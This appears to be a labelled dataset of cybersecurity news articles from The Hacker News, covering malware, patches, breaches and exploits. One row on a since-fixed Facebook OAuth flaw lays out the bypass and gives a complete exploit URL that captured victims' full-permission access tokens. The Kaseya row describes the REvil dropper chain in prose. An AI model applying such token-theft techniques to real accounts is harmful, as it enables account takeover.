Most advanced and dangerous malware for Apple products - why you should be concerned !,https://thehackernews.com/2011/10/most-advanced-and-dangerous-malware-for.html,"Most advanced and dangerous malware for Apple products - Why you should be concerned !


Indian security researcher from MalCon has created an advanced and dangerous malware for Apple products which can not only compromize your privacy but also steal important data and let hackers control your device by simple text messages.

If you are using any Apple product such as iPhone, iPad or iPod, then you shuuld be concerned. Indian security researcher from MalCon, Atul Alex has created an advanced malware for the Apple products which can not only intercept calls of users, steal data, but also provide a reverse VNC to see remotely all the actions of the victim.

The malware can be deployed remotely over the web and is supposed to work on the latest iOS 5. Atul Alex, Technical director of MalCon said ""Apple products are extremely secure by design. The malware works on jailbroken devices - something which over 90% of users have. If your device is not jailbroken, you have nothing to worry about!"".

However, over 90% of users normally jailbreak their devices. iOS jailbreaking, or simply jailbreaking, is the process of removing the limitations imposed by Apple on devices running the iOS operating system through use of custom kernels. Such devices include the iPhone, iPod Touch, iPad, and 2nd Gen Apple TV. Jailbreaking allows users to gain root access to the operating system, allowing iOS users to download additional applications, extensions, and themes that are unavailable through the official Apple App Store. A jailbroken iPhone, iPod Touch, or iPad running iOS can still use the App Store, iTunes, and other normal functions, such as making telephone calls.

The malware malware boasts of the following features:
• Control devices by SMS
• Invisible Malware
• VNC Server to view remote screen
• Record and listen to all calls remotely
• Upload / Download user Data
• Access all mails and texts

The Malware will be demonstrated next month at the upcoming International Malware Conference, MalCon in Mumbai, India. The researcher Atul Alex has previously coded and demonstated a custom malicious firmware for Symbian last year.

",Vulnerability
Microsoft Releases Patches For A Critical 'Wormable Flaw' and 78 Other Issues,https://thehackernews.com/2019/05/microsoft-security-updates.html,"It's Patch Tuesday—the day when Microsoft releases monthly security updates for its software.

Microsoft has software updates to address a total of 79 CVE-listed vulnerabilities in its Windows operating systems and other products, including a critical wormable flaw that can propagate malware from computer to computer without requiring users' interaction.

Out of 79 vulnerabilities, 18 issues have been rated as critical and rest Important in severity. Two of the vulnerabilities addressed this month by the tech giant are listed as publicly known, of which one is listed as under active attack at the time of release.

May 2019 security updates address flaws in Windows OS, Internet Explorer, Edge, Microsoft Office, and Microsoft Office Services and Web Apps, ChakraCore, .NET Framework, and ASP.NET, Skype for Android, Azure DevOps Server, and the NuGet Package Manager.

Critical Wormable RDP Vulnerability

The wormable vulnerability (CVE-2019-0708) resides in Remote Desktop Services – formerly known as Terminal Services – that could be exploited remotely by sending specially crafted requests over RDP protocol to a targeted system.

The vulnerability could be exploited to spread wormable malware in a similar way as the WannaCry malware spread across the globe in 2017.

""This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system,"" Microsoft said in an advisory detailing the Wormable vulnerability.

""While we have observed no exploitation of this vulnerability, it is highly likely that malicious actors will write an exploit for this vulnerability and incorporate it into their malware.""

Surprisingly, besides releasing patches for supported systems, including Windows 7, Windows Server 2008 R2, and Windows Server 2008, Microsoft has also separately released fixes for out-of-support versions of Windows including Windows 2003 and Windows XP to address this critical issue.

As a workaround, Microsoft has advised Windows Server users to block TCP port 3389 and enable Network Level Authentication to prevent any unauthenticated attacker from exploiting this Wormable flaw.

Other Critical and Important Vulnerabilities

Another severe flaw is an important Elevation of Privilege vulnerability (CVE-2019-0863) in Windows that exists in the way Windows Error Reporting (WER) handles files. The flaw is listed as publicly known and is already being actively exploited in limited attacks against specific targets.

Successful exploitation of the flaw could allow a low-privileged remote attacker to run arbitrary code in kernel mode with administrator privileges, eventually letting them install programs, view, change, or delete data, or create new accounts with administrator privileges.

Another publicly disclosed vulnerability affects Skype for Android app. The vulnerability (CVE-2019-0932) could allow an attacker to listen to the conversation of Skype users without their knowledge.

To successfully exploit this vulnerability, all an attacker needs is to call an Android phone with Skype for Android installed that's also paired with a Bluetooth device.

All critical vulnerabilities listed this month primarily impact various versions of Windows 10 operating system and Server editions and mostly reside in Chakra Scripting Engine, with some also reside in Windows Graphics Device Interface (GDI), Internet Explorer, Edge, Word, Remote Desktop Services, and Windows DHCP Server.

Many important-rated vulnerabilities also lead to remote code execution attacks, while others allow elevation of privilege, information disclosure, security bypass, spoofing tampering, and denial of service attacks.

Users and system administrators are highly recommended to apply the latest security patches as soon as possible to keep cybercriminals and hackers away from taking control of their computers.

For installing the latest security updates, you can head on to Settings → Update & Security → Windows Update → Check for updates on your computer, or you can install the updates manually.

Adobe also rolled out security updates today to fix 87 security vulnerabilities in several of its products. Users of the affected Adobe software for Windows, macOS, Linux, and Chrome OS are advised to update their software packages to the latest versions.
",Vulnerability
"'Regin' - 'State-Sponsored' Spying Tool Targeted Govts, Infrastructures for Years",https://thehackernews.com/2014/11/regin-state-sponsored-spying-tool.html,"Researchers have uncovered a highly advanced, sophisticated piece of malware they believe was used to spy on a wide-range of international targets including governments, infrastructure operators and other high-profile individuals since at least 2008.

The nasty malware, dubbed ""Regin"", is said to be more sophisticated than both Stuxnet and Duqu, according to the researchers at antivirus software maker Symantec Corp.

DEVELOPED BY NATION STATE
The research showed that the Regin malware is believe to be developed by a wealthy ""nation state"" and is a primary cyber espionage tool of a nation state because of the financial clout needed to produce code of this complexity with several stealth features to avoid detection. But, the antivirus software maker didn't identify which country was behind it.
""It is likely that its development took months, if not years, to complete and its authors have gone to great lengths to cover its tracks. Its capabilities and the level of resources behind Regin indicate that it is one of the main cyber espionage tools used by a nation state,"" said Symantec Security Response team.
""The security firm did not name a nation as the source of Regin, but is willing to say most of its victims were from Russia and Saudi Arabia and were targeted between 2008 and 2011 with a since decommissioned version of the malware that re-surfaced after 2013.""
Regin uses a modular approach allowing it to load features that exactly fit the target, enabling a customized spying. The malware's design makes it highly suited for persistent, long-term mass surveillance operations against targets, the company said.

The nasty malware's main targets include Internet service providers and telecommunications companies, where it appears the complex software is used to monitor calls and communications routed through the companies' infrastructure. Other targets include organisations in hospitality, energy, airline, health sectors and research.

HIGHLY CUSTOMIZABLE FIVE STAGE STRUCTURE
Regin's highly customizable nature allows large-scale remote access Trojan capabilities, including password and data theft, hijacking the mouse's point-and-click functions, and capturing screenshots from infected computers. Other infections were identified monitoring network traffic and analyzing email from Exchange databases.
""Customisable with an extensive range of capabilities depending on the target, it provides its controllers with a powerful framework for mass surveillance and has been used in spying operations against government organisations, infrastructure operators, businesses, researchers, and private individuals,"" Symantec said.
In order to remain stealthy, Regin is organized into five layers, each ""hidden and encrypted, with the exception of the first stage."" It's a multi-stage attack and each stage reveals the overall attack. Executing the first stage starts a domino chain in which the second stage is decrypted and executed, and that in turn decrypts the third stage, and so on.

NASTY MODULES
The whole picture of the malware only emerges when you have acquire all five stages because each individual stage provides little information on the complete package. Regin contains dozens of payloads, including code for capturing screenshots, seizing control of an infected computer's mouse, stealing passwords, monitoring network traffic, and recovering deleted files.

Other modules appear to be tailored to specific targets. Specialist modules were found monitoring the traffic of Microsoft Internet Information Services (IIS) server, parsing mail from Exchange databases, and collecting administration traffic for mobile base station controllers.

",Malware
Yahoo Disables Email Auto-Forwarding; Making It Harder for Users to Move On,https://thehackernews.com/2016/10/yahoo-email-auto-forwarding.html,"Yahoo! has disabled automatic email forwarding -- a feature that lets its users forward a copy of incoming emails from one account to another.

The company has faced lots of bad news regarding its email service in past few weeks. Last month, the company admitted a massive 2014 data breach that exposed account details of over 500 Million Yahoo users.

If this wasn't enough for users to quit the service, another shocking revelation came last week that the company scanned the emails of hundreds of millions of its users at the request of a U.S. intelligence service last year.

That's enough for making a loyal Yahoo Mail user to switch for other rival alternatives, like Google Gmail, or Microsoft's Outlook.

Yahoo Mail Disables Auto-Forwarding; Making It Hard to Leave

But as Yahoo Mail users are trying to leave the email service, the company is making it more difficult for them to transition to another email service.

That's because since the beginning of October, the company has disabled Yahoo Mail's automatic email forwarding feature that would allow users to automatically redirect incoming emails from their Yahoo account to another account, reported by the Associated Press.

All of a sudden it's under development? Here's what a post on the company's help page reads about the feature's status:

""This feature is under development. While we work to improve it, we've temporarily disabled the ability to turn on Mail Forwarding for new forwarding addresses. If you've already enabled Mail Forwarding in the past, your email will continue to forward to the address you previously configured.""

In other words, only users who already had the feature turned ON in the past are out of this trouble, but users who are trying to turn ON automatic email forwarding now have no option.

Yahoo has shared the following statement about the recent move:

""We're working to get auto-forward back up and running as soon as possible because we know how useful it can be to our users. The feature was temporary disabled as part of previously planned maintenance to improve its functionality between a user's various accounts. Users can expect an update to the auto-forward functionality soon. In the meantime, we continue to support multiple account management.""

Yahoo is trying to save its Verizon Acquisition Deal

The move to turn off the email forwarding option could be an attempt to keep its customers' accounts active because any damage to the company at this time is crucial when Yahoo seeks to sell itself to Verizon.

The Yahoo acquisition deal has not yet closed, and Verizon Communications has reportedly asked for a $1 Billion discount off of Yahoo's $4.83 Billion sales price.

As a workaround, you could switch on your vacation responder instead to automatically reply to emails with a note about your new email address.

Delete Your Yahoo Account Before It's Too Late

You can also forego the forwarding process and simply delete your Yahoo Mail account entirely, until and unless Yahoo disables that option, too.

As the Reg media reports that British Telecoms customers, whose email had been outsourced to Yahoo, have not been able to set up automatic email forwarding or even access the option to delete their accounts.
""Sorry, the delete feature is currently unavailable. This feature will become available by the end of September,"" the error message reads.
So, hurry up before it gets too late.

",Data_Breaches
Chinese Hackers Exploited Latest SolarWinds 0-Day in Targeted Attacks,https://thehackernews.com/2021/07/chinese-hackers-exploit-latest.html,"Microsoft on Tuesday disclosed that the latest string of attacks targeting SolarWinds Serv-U managed file transfer service with a now-patched remote code execution (RCE) exploit is the handiwork of a Chinese threat actor dubbed ""DEV-0322.""
The revelation comes days after the Texas-based IT monitoring software maker issued fixes for the flaw that could enable adversaries to remotely run arbitrary code with privileges, allowing them to perform actions like install and run malicious payloads or view and alter sensitive data.
Tracked as CVE-2021-35211, the RCE flaw resides in Serv-U's implementation of the Secure Shell (SSH) protocol. While it was previously revealed that the attacks were limited in scope, SolarWinds said it's ""unaware of the identity of the potentially affected customers.""
Attributing the intrusions with high confidence to DEV-0322 (short for ""Development Group 0322"") based on observed victimology, tactics, and procedures, Microsoft Threat Intelligence Center (MSTIC) said the adversary is known for targeting entities in the U.S. Defense Industrial Base Sector and software companies.
""This activity group is based in China and has been observed using commercial VPN solutions and compromised consumer routers in their attacker infrastructure,"" according to MSTIC, which discovered the zero-day after it detected as many as six anomalous malicious processes being spawned from the main Serv-U process, suggesting a compromise.
The development also marks the second time a China-based hacking group has exploited vulnerabilities in SolarWinds software as a fertile field for targeted attacks against corporate networks.
Back in December 2020, Microsoft disclosed that a separate espionage group may have been taking advantage of the IT infrastructure provider's Orion software to drop a persistent backdoor called Supernova on infected systems. The intrusions have since been attributed to a China-linked threat actor called Spiral.
Additional indicators of compromise associated with the attack can be accessed from SolarWinds' revised advisory here.
Update: This article has been updated to reflect that attackers didn't exploit the SolarWinds flaw to target defense and software companies. As of now, no information has been provided on who was attacked during this zero-day attack.

",Malware
"Samba remote code execution vulnerability, Patch Released !",https://thehackernews.com/2012/04/samba-remote-code-execution.html,"Samba remote code execution vulnerability, Patch Released !

Samba is an award-winning free software file, print and authentication server suite for Windows clients. The project was begun by Australian Andrew Tridgell.

There is a serious remotely exploitable vulnerability in the Samba open-source software that could enable an attacker to gain root privileges without any authentication. The bug is in all versions of Samba from 3.0.x to 3.6.3, but has been fixed in Samba 3.6.4, which is the current stable release.

The vulnerability was discovered by security researcher Brian Gorenc and an unnamed colleague, working for the Zero Day Initiative. The flaw, which is located in the code generator for Samba's remote procedure call (RPC) interface, makes it possible for clients on the network to force the Samba server to execute arbitrary code.

Three new security releases (Samba 3.4.16, Samba 3.5.14, Samba 3.6.4) for currently supported versions have been issued over at samba.org/samba/security. Patches against older Samba versions are available at samba.org/samba/patches.

Most at risk here is the compromise of Linux-embedded systems that use Samba, and many of these device vendors are notorious for not regularly patching these systems. This makes this vulnerability an attractive target for exploit writers, both for integration in commercial and free penetration testing tools like Metasploit, as well as for use in malicious attacks.

",Vulnerability
Oops! Microsoft Accidentally Leaks Backdoor Keys to Bypass UEFI Secure Boot,https://thehackernews.com/2016/08/uefi-secure-boot-hack.html,"It's True — There is no such backdoor that only its creator can access.

Microsoft has accidentally leaked the Secret keys that allow hackers to unlock devices protected by UEFI (Unified Extensible Firmware Interface) Secure Boot feature.

What's even worse?

It will be impossible for Microsoft to undo its leak.

Secure Boot is a security feature that protects your device from certain types of malware, such as a rootkit, which can hijack your system bootloader, as well as, Secure Boot restricts you from running any non-Microsoft operating system on your device.

In other words, when Secure Boot is enabled, you will only be able to boot Microsoft approved (cryptographically signature checking) operating systems.

However, the Golden Keys disclosed by two security researchers, using alias MY123 and Slipstream, can be used to install non-Windows operating systems, say GNU/Linux or Android, on the devices protected by Secure Boot.

Moreover, according to the blog post published by researchers, it is impossible for Microsoft to fully revoke the leaked keys, potentially giving law enforcement (such as FBI and NSA) special backdoor that can be used to unlock Windows-powered devices in criminal cases.

The issue actually resides in the Secure Boot policy loading system, where a specially signed policy loads early and disables the operating system signature checks, the reg reports.

This specific Secure Boot policy was created and signed by Microsoft for developers, testers, and programmers for debugging purposes.
""During the development of Windows 10 v1607 'Redstone,' MS added a new type of secure boot policy. Namely, ""supplemental"" policies that are located in the EFIESP partition…"" researcher said.
""...a backdoor, which MS put into secure boot because they decided to not let the user turn it off in certain devices, allows for secure boot to be disabled everywhere!""
Yesterday, Microsoft released August Patch Tuesday that includes a security patch for designing flaw in Secure Boot for the second time in two months, but unfortunately, the patch is not complete.

",Malware
Kaseya Rules Out Supply-Chain Attack; Says VSA 0-Day Hit Its Customers Directly,https://thehackernews.com/2021/07/kaseya-rules-out-supply-chain-attack.html,"U.S. technology firm Kaseya, which is firefighting the largest ever supply-chain ransomware strike on its VSA on-premises product, ruled out the possibility that its codebase was unauthorizedly tampered with to distribute malware.
While initial reports raised speculations that REvil, the ransomware gang behind the attack, might have gained access to Kaseya's backend infrastructure and abused it to deploy a malicious update to VSA servers running on client premises, in a modus operandi similar to that of the devastating SolarWinds hack, it has since emerged that a never-before-seen security vulnerability (CVE-2021-30116) in the software was leveraged to push ransomware to Kaseya's customers.
""The attackers were able to exploit zero-day vulnerabilities in the VSA product to bypass authentication and run arbitrary command execution,"" the Miami-headquartered company noted in the incident analysis. ""This allowed the attackers to leverage the standard VSA product functionality to deploy ransomware to endpoints. There is no evidence that Kaseya's VSA codebase has been maliciously modified.""
In other words, while successful zero-day exploitation on Kaseya VSA software by itself isn't a supply-chain attack, taking advantage of the exploit to compromise managed service providers (MSPs) and breach their customers would constitute as one.
It's, however, unclear as to how the hackers learned of the vulnerabilities. The details of those flaws have not yet been publicly released, although Huntress Labs revealed that ""Cybercriminals have exploited an arbitrary file upload and code injection vulnerability and have high confidence an authentication bypass was used to gain access into these servers.""
Image Source: Cybereason
About 60 MSPs and 1,500 downstream businesses around the world have been paralyzed by the ransomware attack, according to the company's CEO Fred Voccola, most of which have been small concerns, like dental practices, architecture firms, plastic surgery centers, and libraries.
Hackers associated with the Russia-linked REvil ransomware-as-a-service (RaaS) group initially demanded $70 million in Bitcoins to release a decryptor tool for restoring all the affected businesses' data, although they have swiftly lowered the asking price to $50 million, suggesting a willingness to negotiate their demands in return for a lesser amount.
""REvil ransomware has been advertised on underground forums for three years and it is one of the most prolific RaaS operations,"" Kaspersky researchers said Monday, adding ""the gang earned over $100 million from its operations in 2020.""
The attack chain worked by first deploying a malicious dropper via a PowerShell script which was executed through Kaseya's VSA software.
""This script disables Microsoft Defender for Endpoint protection features and then uses the certutil.exe utility to decode a malicious executable (agent.exe) that drops a legitimate Microsoft binary (MsMpEng.exe, an older version of Microsoft Defender) and malicious library (mpsvc.dll), which is the REvil ransomware. This library is then loaded by the legitimate MsMpEng.exe by utilizing the DLL side-loading technique,"" the researchers added.
The incident has also led the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to offer mitigation guidance, urging businesses to enable multi-factor authentication, limit communication with remote monitoring and management (RMM) capabilities to known IP address pairs, and place administrative interfaces of RMM behind a virtual private network (VPN) or a firewall on a dedicated administrative network.

",Malware
CVE-2012-3372 : Traffic Interception Vulnerability found in Cyberoam,https://thehackernews.com/2012/07/cve-2012-3372-traffic-interception.html,"Traffic Interception Vulnerability found in Cyberoam


The TOR team have discovered a fake certificate in the wild. The certificate, issued by a US company called Cyberoam, was used in an attempt to trick a user in Jordan into believing that her/his connection to the TOR website, was private and secure, though in fact it was being spied upon by a Cyberoam device.

This issue was discovered and analysed by Runa A. Sandvik of the TorProject and Ben Laurie. A certificate handling flaw in Cyberoam's deep packet inspection (DPI) devices allow traffic from a single 'victim' to be intercepted by any DPI device from the vendor, according to the Tor Project.

Cyberoam make a range of DPI devices which are capable of intercepting SSL connections. ""While investigating this further, Ben Laurie and I found a security vulnerability affecting all Cyberoam DPI devices. Examination of a certificate chain generated by a Cyberoam DPI device shows that all such devices share the same CA certificate and hence the same private key,"" Runa A. Sandvik, security researcher at Tor Project, explained.

Because the devices all use the same CA certificate, anyone in the possession of one of these devices can intercept traffic from any user accessing the network through a different Cyberoam device. Since all of the devices also include the same private key, this key can be extracted and imported into other DPI systems as well, enabling that same traffic to be intercepted.

Tor Browser Bundle are not impacted, but other users should check to ensure that the certificate in question is not installed in their web browser. Victims should uninstall the Cyberoam CA certificate from theirbrowsers and decline to complete any connection which gives acertificate warning.

",Vulnerability
NSA Data Center Experiencing 300 Million Hacking Attempts Per Day,https://thehackernews.com/2016/02/nsa-utah-data-center.html,"Utah State computer systems are experiencing a massive cyber attack on up to 300 Million Hacking attempts per day due to National Security Agency's (NSA) data center in the state.

Yes, 300,000,000 hacking attempts in a day!

According to the statistical survey, it is evident that the computer systems in the US State of Utah began to experience the hacking attack a few years back, precisely, soon after the NSA revelations by global surveillance whistleblower Edward Snowden.

It is a less-known fact that the NSA has built its new data center near the city of Bluffdale, Utah. However, a couple of years back, when Snowden revealed the presence of the data center, the attacks have constantly been going on.

The PRISM spying program by Big Brothers at NSA might have shifted the attention of hackers for the retaliation against mass-surveillance and flared up this heightened cyber attacks against the spying agency.

According to Utah Commissioner of public safety, Keith Squires, as quoted by KUTV:
""In 2010, my IT director was letting me know that the number of attacks we were averaging a day was between 25,000 to 80,000. We had peaks in the past year or so that were over 300,000,000 a day.""
Additionally, advanced weapons systems at Hill Air Force Base and other tech companies in Utah could also be the reason for this fueling cyber attacks.

Trace Route

The Security officers had identified the sudden influx of IP traffic traced into foreign IP ranges and said the incident would be a model of a botnet attack.

The botnet network scans for the technical glitches in the communication pathways to infect the system, as per its Command and Control (C&C) instructions.

In an attempt to minimize the attacking vector, Utah Security Officer had blocked the IP addresses from China, Russia, and Indonesia.

In the majority of cases, hackers are trying to gain a single access by many tactical ploys that could lead them to land into the NSA mainframes.

The Big Brother is Watching you…!

",Cyber_Attack
Hackers Found Exploiting Oracle WebLogic RCE Flaw to Spread Ransomware,https://thehackernews.com/2019/05/ransomware-oracle-weblogic.html,"Taking advantage of newly disclosed and even patched vulnerabilities has become common among cybercriminals, which makes it one of the primary attack vectors for everyday-threats, like crypto-mining, phishing, and ransomware.

As suspected, a recently-disclosed critical vulnerability in the widely used Oracle WebLogic Server has now been spotted actively being exploited to distribute a never-before-seen ransomware variant, which researchers dubbed ""Sodinokibi.""

Last weekend, The Hacker News learned about a critical deserialization remote code execution vulnerability in Oracle WebLogic Server that could allow attackers to remotely run arbitrary commands on the affected servers just by sending a specially crafted HTTP request—without requiring any authorization.

To address this vulnerability (CVE-2019-2725), which affected all versions of the Oracle WebLogic software and was given a severity score of 9.8 out of 10, Oracle rolled out an out-of-band security update on April 26, just a day after the vulnerability was made public and several in-the-wild attacks were observed.

According to cybersecurity researchers from Cisco Talos' threat research team, an unknown group of hackers has been exploiting this vulnerability since at least April 25 to infect vulnerable servers with a new piece of ransomware malware.
Sodinokibi is a dangerous ransomware variant which has been designed to encrypt files in a user's directory and then delete shadow copy backups from the system in an effort to prevent victims from recovering their data without paying a ransom.

No Interaction Required to Deploy Ransomware

Since attackers are leveraging a remote code execution vulnerability in the WebLogic Server, unlike typical ransomware attacks, deploying the Sodinokibi ransomware requires no user interaction.

""Historically, most varieties of ransomware have required some form of user interaction, such as a user opening an attachment to an email message, clicking on a malicious link, or running a piece of malware on the device,"" researchers explain in a blog post.

""In this case, the attackers simply leveraged the Oracle WebLogic vulnerability, causing the affected server to download a copy of the ransomware from attacker-controlled IP addresses.""


Once downloaded, the Sodinokibi ransomware encrypts the victim's systems and displays a ransom note demanding up to $2,500 in Bitcoin. The amount doubles to $5,000 if the ransom is not paid within a specified number of days—which may vary from two days to six days.

Hackers Are Also Installing GandCrab Ransomware

Researchers also noted that roughly eight hours after deploying Sodinokibi on an infected system, the attackers exploited the same WebLogic Server vulnerability to install another piece of ransomware known as GandCrab (v5.2).
""We find it strange the attackers would choose to distribute additional, different ransomware on the same target,"" the researchers say. ""Sodinokibi being a new flavor of ransomware, perhaps the attackers felt their earlier attempts had been unsuccessful and were still looking to cash in by distributing Gandcrab.""

Attackers have been exploiting the Oracle WebLogic Server vulnerability in the wild since at least April 17 to distribute cryptocurrency miners and other types of malware.

WebLogic Server is a popular Java-based multi-tier enterprise application server typically used by businesses to support enterprise apps, which makes it an often target of attackers trying to carry out malicious operations, like running cryptocurrency miners and infecting with ransomware.

Organizations that use Oracle WebLogic Server should make sure to update their installations to the latest version of the software as soon as possible.

",Cyber_Attack
Built-In Backdoor Found in Popular Chinese Android Smartphones,https://thehackernews.com/2014/12/built-in-backdoor-found-in-popular.html,"Chinese smartphone manufacturers have been criticized many times for suspected backdoors in its products, the popular Chinese smartphone brands, Xiaomi and Star N9500 smartphones are the top examples. Now, the China's third-largest mobile and world's sixth-largest phone manufacturer 'Coolpad', has joined the list.

Millions of Android smartphones sold by Chinese smartphone maker Coolpad Group Ltd. may contain an extensive ""backdoor"" from its manufacturer that is being able to track users, push unwanted pop-up advertisements and install unauthorized apps onto users' phones without their knowledge, alleged a U.S. security firm.

OVER 10 MILLION USERS AT RISK
Researchers from Silicon Valley online security firm Palo Alto Networks discovered the backdoor, dubbed ""CoolReaper,"" pre-installed on two dozens of Coolpad Android handset models, including high-end devices, sold exclusively in China and Taiwan. The backdoor can let attackers completely hijack users' Android device by gaining access to their device information and functions.

The backdoor presents several privacy and security risk, and is believed to impact over 10 million users worldwide. The security firm released a research paper Wednesday detailing its investigation on the backdoor software, called CoolReaper.

FEATURES OF COOLREAPER BACKDOOR
According to Ryan Olson, intelligence director at Palo Alto, CoolReaper backdoor can perform a wide number of unsolicited tasks. The backdoor has ability to:
Download, install and activate any Android application without the user's consent or notification
Connect to a number of command and control (C&C) servers
Clear user data, uninstall existing applications, or disable system applications
Send fake over-the-air (OTA) software updates to devices that install unwanted applications
Send or insert arbitrary SMS or MMS messages into the phone
Dial arbitrary phone numbers
Upload device information, its location, application usage information, calling and SMS history to Coolpad server
Researchers obtained only one of the Coolpad smartphone models sold in the U.S. and did not find CoolReaper on the device. So, they suspected that the CoolReaper backdoor comes pre-installed only on Coolpad handsets sold in China and Taiwan.

The researchers conducted its investigation after reviewing complaints by the users on message boards about suspicious activities noticed on Coolpad devices. The security firm installed multiple copies of the custom ROMs installed on Coolpad devices in China and found that most included CoolReaper.
""CoolReaper is the first malware we have seen that was built and operated by an Android manufacturer,"" researchers wrote. ""The changes Coolpad made to the Android OS to hide the backdoor from users and antivirus programs are unique and should make people think twice about the integrity of their mobile devices.""
CHINA BEING CRITICIZED MANY TIMES
This isn't the first time when Chinese phone manufacturer is criticized for its products. Six months ago, a popular and cheap handset device in China, the Star N9500 smartphone came pre-installed with a Trojan that allowed manufacturer to spy onto their users' comprising their personal data and conversations without any restrictions and users' knowledge.

Also, the latest claim against Chinese smartphone manufacturers was the allegation that the popular Chinese smartphone brand, Xiaomi has been suspected of ""secretly"" stealing users' information from the device without the user's permissions and sending it back to a server in Beijing, despite of turning off the data backup functions.
Palo Alto Networks is the same security firm that discovered ""WireLurker"" malware that was targeting Mac and iOS users in China, and the main concern to worry about the threat was its ability to attack non-jailbroken iOS devices. The malware appeared as the first malicious software program with the ability to penetrate the iPhone's strict software controls.

",Malware
Facebook OAuth flaw allows gaining full control over any Facebook account,https://thehackernews.com/2013/02/facebook-oauth-flaw-allows-gaining-full.html,"Facebook OAuth is used to communicate between Applications & Facebook users, to grant additional permissions to your favorite apps. To make this possible, users have to 'allow or accept' the application request so that app can access your account information with required permissions.

As a normal Facebook user we always think that it is better than entering your Facebook credentials, we can just allow specific permissions to an app in order to make it work with your account.

Today whitehat Hacker 'Nir Goldshlager' reported 'The Hacker News' that he discovered a very critical vulnerability in Facebook's OAuth system, that allowed him to get full control over any Facebook account easily even without 'allow or accept' options.

For this purpose he hunt the flaw in a very mannered way i.e
Step 1) Understanding the OAuth URL
Step 2) Finding a way to use custom parameters in URL
Step 3) Bypassing OAuth 'Allow' button request at user end


Goldshlager explained everything on his blog via a post, so will also go step by step:

1.) Understanding the OAuth URL
The Facebook OAuth dialog URL is something like shown below:

https://www.facebook.com/dialog/oauth/?app_id=YOUR_APP_ID&next=YOUR_REDIRECT_URL&state=YOUR_STATE_VALUE&scope=COMMA_SEPARATED_LIST_OF_PERMISSION_NAMES

Where app_id is the application ID and next parameter must contains the URL of the respective app domain only. For example app_id=2389801228 belongs to 'Texas Holdem Poker' app, So the 'next' parameter will allow only zynga.com domain (i.e next=https://zynga.com), otherwise Facebook will block that action.

2.) Finding a way to use custom parameters in URL
Goldshlager found that Facebook was allowing him to use facebook's sub domain in next parameter in the URL ie. https://beta.facebook.com/#xxx!/messages/. But '#xxx!' was not working for all browsers. After fuzzing the URL characters, he found that %23~! and %23%09! worked for all browsers.

This finding was enough to redirect user to any file or folder at Facebook domain.

Then he developed a simple Facebook application (i.e touch.facebook.com/apps/testestestte) ,which was just to redirecting users to remote site (i.e. files.nirgoldshlager.com) with access token, where a log file was ready to store all access tokens.

3.) Bypassing OAuth 'Allow' button request at user end
Till now attacker was able to redirect user to a fake app, which was passing victim's access tokens to a 3rd party domain where attacker was logging access tokens. But the main issue was still there i.e without user interaction, app will not work. That means, one have to click 'allow' button as shown below.

So, to bypass this, he discovered that there are many built-in Facebook applications i.e 'Facebook Messenger app' that can access full permissions (read inbox, outbox, manage pages, manage ads,access to private photos, videos, etc.) from the victim's account without user interaction i.e no need to click 'allow' button.


i.e Sample Final URL :
https://www.facebook.com/connect/uiserver.php?app_id=220764691281998&next=https%3A%2F%2Ftouch.facebook.com%2F%23~!%2Fapps%2Ftestestestte%2F&display=page&fbconnect=1&method=permissions.request&response_type=token


This way attacker is now able to grab access tokens (with full permissions) of any Facebook account by just making his victims to visit a modified OAuth URL (without user interaction). This access_token will be never expired, It will expired only after the victim change his Facebook password

Video Demonstration:

As a responsible bug hunter, Nir Goldshlager reported this flaw to Facebook security team few months back and now it is fixed. He was rewarded many times in bug bounty program. In January he also reported a password reset vulnerability in Facebook Employees Secure Files Transfer service

",Vulnerability
Bogus Facebook apps spreading Android malware,https://thehackernews.com/2012/05/bogus-facebook-apps-spreading-android.html,"Bogus Facebook apps spreading Android malware

Third-party Android markets have traditionally been the main source of infection since the Android boom, as they are less strict than the genuine Play when it comes to bouncing malware.

Today Gmanetwork reports that, Users of mobile devices running Google's Android OS were warned over the weekend against a new fake app of the social networking giant that may lead to potential Android malware. These duplicated applications have the same behavior as their original counterparts (in terms of functionality), but they perform a http 302 redirect to another link, that's not Facebook-related, when they detect mobile traffic.

What's most concerning is that many of the fake app-based malwares in circulation have purported to be legitimate copies of some of the most popular titles around. No sooner were Android users on red alert for a dodgy Angry Birds Space app, were they informed of a phony Instagram app wreaking havoc through some of the unverified mediums.

The fake apps claim to scan a user's Facebook contacts and list all the potential girlfriends or boyfriends among the user's friends. BitDefender said that while cross-site scripting is nothing new, this is one of the few times when a direct correlation between Facebook and promoting Android apps via redirecting mobile traffic has been reported.

This could be the beginning of paid promotions through Facebook, where Android app developers can actually subscribe to have their apps promoted via Facebook by means of illegitimate services.

",Malware
Hacker arrested by Taiwan Investigation Bureau,https://thehackernews.com/2013/05/hacker-arrested-by-taiwan-investigation.html,"A suspect hacker 'Shih' was arrested by Taiwan Criminal Investigation Bureau (CIB) last week for hacking into a popular local classic music website. The police raided the apartment of the suspect and seized his computer.

The investigation was launched by the bureau after it received a report from the website's operator who said its site was hacked in March.

During initial investigations, Shih confessed to the police that he hacked into the website's customer database and made unauthorized changes to customer data. Shih also confessed that he has used a hacking technique called SQL injection to attack the website's database.

SQL injection is a technique used to take advantage of non-validated input vulnerabilities to pass SQL commands through a Web application for execution by a backend database. The result is that the attacker can execute arbitrary SQL queries and/or commands on the backend database server through the Web application.

The Criminal Investigation Bureau (CIB) urged local website operators to stay on alert regarding similar hacking attempts.

",Vulnerability
AirDrop Bug in Apple iOS and OSX allows Hackers to Install Malware Silently,https://thehackernews.com/2015/09/hack-ios-airdrop.html,"With the launch of iOS 9, Apple gave us an ultimate reason to upgrade our Apple devices to its new operating system.

The latest iOS 9 includes a security update for a nasty bug that could be exploited to take full control of your iPhone or Macs, forcing most of the Apple users to download the latest update.

Australian security researcher Mark Dowd has disclosed a serious vulnerability in AirDrop, Apple's over-the-air file sharing service built into iOS and Mac OS X.

How the Attack Works?

The vulnerability allows anyone within the range of an AirDrop user to silently install a malicious app on a target Apple device by sending an AirDrop file which involves rebooting of the target device.

An attacker can exploit this critical bug even if the victim rejects the incoming file sent over AirDrop.

After rebooting takes place, the malicious app gains access to Springboard, Apple's software to manage iOS home screen, allowing the app to fool the victim's iPhone into believing the malicious app has the same rights as a normal app.

These rights include access to:
Contacts
Camera
Location
Messages
and many more…
…that could allow a more illustrious hacker to break into other sensitive areas of the Apple's operating system, causing severe damage to the victim's device.
""AirDrop bug can be used to target people wirelessly in close proximity. Also useful for lock-screen bypass,"" Dowd, founder and director of Azimuth Security, tweeted.
Video Demonstration

